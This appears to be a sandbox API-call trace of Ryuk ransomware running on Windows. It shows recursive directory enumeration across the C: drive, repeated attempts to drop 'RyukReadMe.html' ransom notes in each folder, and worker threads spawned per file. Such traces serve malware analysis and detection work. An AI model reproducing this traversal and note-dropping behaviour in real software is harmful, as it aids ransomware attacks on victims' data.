	[0158.216] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0158.217] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.217] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0158.217] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0158.217] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0158.217] SetLastError (dwErrCode=0x0) 
	[0158.217] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\RyukReadMe.html" (normalized: "c:\\boot\\zh-tw\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.217] GetLastError () returned 0x5
	[0158.218] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0158.218] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.218] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0158.218] FindClose (in: hFindFile=0x7bf10 | out: hFindFile=0x7bf10) returned 1
	[0158.218] SetLastError (dwErrCode=0x0) 
	[0158.218] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.218] GetLastError () returned 0x5
	[0158.219] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0) returned 0
	[0158.219] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.219] FindNextFileW (in: hFindFile=0x7c570, lpFindFileData=0x218e7d0 | out: lpFindFileData=0x218e7d0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x68, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0158.219] FindNextFileW (in: hFindFile=0x7c570, lpFindFileData=0x218e7d0 | out: lpFindFileData=0x218e7d0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x68, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1
	[0158.219] FindNextFileW (in: hFindFile=0x7c570, lpFindFileData=0x218e7d0 | out: lpFindFileData=0x218e7d0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1
	[0158.219] SetLastError (dwErrCode=0x0) 
	[0158.219] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.220] GetLastError () returned 0x5
	[0158.220] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0) returned 0
	[0158.220] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.220] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x50000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x24, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0158.220] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0158.221] SetLastError (dwErrCode=0x0) 
	[0158.221] CreateFileW (lpFileName="C:\\Config.Msi\\RyukReadMe.html" (normalized: "c:\\config.msi\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.221] GetLastError () returned 0x5
	[0158.221] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0) returned 0
	[0158.221] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.222] FindNextFileW (in: hFindFile=0x7c570, lpFindFileData=0x218e7d0 | out: lpFindFileData=0x218e7d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1
	[0158.222] SetLastError (dwErrCode=0x0) 
	[0158.222] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.222] GetLastError () returned 0x5
	[0158.222] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0) returned 0
	[0158.222] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.222] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x50000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x24, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0158.224] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0158.224] SetLastError (dwErrCode=0x0) 
	[0158.224] CreateFileW (lpFileName="C:\\Documents and Settings\\RyukReadMe.html" (normalized: "c:\\documents and settings\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.224] GetLastError () returned 0x5
	[0158.224] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0) returned 0
	[0158.225] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.225] FindNextFileW (in: hFindFile=0x7c570, lpFindFileData=0x218e7d0 | out: lpFindFileData=0x218e7d0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4e9ad440, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0158.225] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0158.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac
	[0158.228] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.229] FindNextFileW (in: hFindFile=0x7c570, lpFindFileData=0x218e7d0 | out: lpFindFileData=0x218e7d0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1
	[0158.229] SetLastError (dwErrCode=0x0) 
	[0158.229] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.229] GetLastError () returned 0x5
	[0158.229] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0) returned 0
	[0158.230] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.230] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*.*", lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x50000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x24, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0158.230] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0158.230] SetLastError (dwErrCode=0x0) 
	[0158.230] CreateFileW (lpFileName="C:\\MSOCache\\RyukReadMe.html" (normalized: "c:\\msocache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.230] GetLastError () returned 0x5
	[0158.231] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0) returned 0
	[0158.231] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.231] FindNextFileW (in: hFindFile=0x7c570, lpFindFileData=0x218e7d0 | out: lpFindFileData=0x218e7d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4ecf3280, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
	[0158.231] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0158.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc
	[0158.234] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.235] FindNextFileW (in: hFindFile=0x7c570, lpFindFileData=0x218e7d0 | out: lpFindFileData=0x218e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1
	[0158.235] SetLastError (dwErrCode=0x0) 
	[0158.235] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.235] GetLastError () returned 0x5
	[0158.235] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0) returned 0
	[0158.235] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.235] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x50000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x24, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0158.236] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0158.236] SetLastError (dwErrCode=0x0) 
	[0158.236] CreateFileW (lpFileName="C:\\PerfLogs\\RyukReadMe.html" (normalized: "c:\\perflogs\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.236] GetLastError () returned 0x5
	[0158.236] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0) returned 0
	[0158.237] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.237] FindNextFileW (in: hFindFile=0x7c570, lpFindFileData=0x218e7d0 | out: lpFindFileData=0x218e7d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa55c510, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xaa55c510, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
	[0158.237] SetLastError (dwErrCode=0x0) 
	[0158.237] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.237] GetLastError () returned 0x5
	[0158.237] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218e718, lpOverlapped=0x0) returned 0
	[0158.237] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.237] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa55c510, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xaa55c510, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bf10
	[0158.238] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa55c510, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xaa55c510, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.238] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa312b330, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa312b330, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1
	[0158.238] SetLastError (dwErrCode=0x0) 
	[0158.238] CreateFileW (lpFileName="C:\\Program Files\\RyukReadMe.html" (normalized: "c:\\program files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.238] GetLastError () returned 0x5
	[0158.238] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0158.238] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.238] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa312b330, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa312b330, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0158.239] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa312b330, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa312b330, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.239] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4ee860, ftCreationTime.dwHighDateTime=0x1d53da3, ftLastAccessTime.dwLowDateTime=0x191c520, ftLastAccessTime.dwHighDateTime=0x1d5b6f9, ftLastWriteTime.dwLowDateTime=0x191c520, ftLastWriteTime.dwHighDateTime=0x1d5b6f9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x40, dwReserved1=0x0, cFileName="clearly_st.exe", cAlternateFileName="CLEARL~1.EXE")) returned 1
	[0158.239] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1
	[0158.239] SetLastError (dwErrCode=0x0) 
	[0158.239] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.240] GetLastError () returned 0x5
	[0158.240] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d8b8, lpOverlapped=0x0) returned 0
	[0158.240] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.240] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*.*", lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bf70
	[0158.242] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.243] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x5a, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1
	[0158.243] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x5a, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0
	[0158.243] FindClose (in: hFindFile=0x7bf70 | out: hFindFile=0x7bf70) returned 1
	[0158.243] SetLastError (dwErrCode=0x0) 
